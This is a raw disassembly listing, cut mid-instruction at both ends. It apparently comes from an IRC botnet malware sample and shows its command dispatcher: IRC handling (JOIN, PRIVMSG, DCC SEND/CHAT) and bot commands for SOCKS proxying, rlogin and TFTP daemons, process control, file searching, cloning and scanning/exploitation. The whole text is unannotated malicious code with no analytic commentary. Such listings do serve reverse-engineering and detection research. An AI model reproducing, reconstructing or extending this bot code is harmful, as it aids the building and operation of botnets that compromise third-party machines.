7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_4386DC loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_4386AC push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_4386A0 mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_43865C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h call near ptr 25E041Ch nop jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_438650 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_489DD0 mov eax, off_42F6C8[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_438634 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_489CDC loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_438610 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_4385F8 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j call near ptr 2630B7Ah nop push eax push offset dword_4385B0 jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_438560 loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_438528 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 25E041Ch jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j call near ptr 2630B7Ah nop push eax push offset dword_4384E4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_4384A4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_438464 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_4313B0, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_444340 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4313B0 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_4387B8 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_444358[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_444340[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_438420 ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_438368 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_438344 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_438334 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_438328 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_438320 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_438314 push offset dword_438308 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4382E4 push offset dword_4382D4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_4382C8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_4382BC push offset dword_4382B0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_4382A0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_438294 push offset dword_438288 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_438278 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_43826C push offset dword_438260 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_438250 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_438244 push offset dword_438238 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_43821C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_4381BC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_438194 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_4380BC jnz short loc_410249 mov eax, offset dword_438088 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test 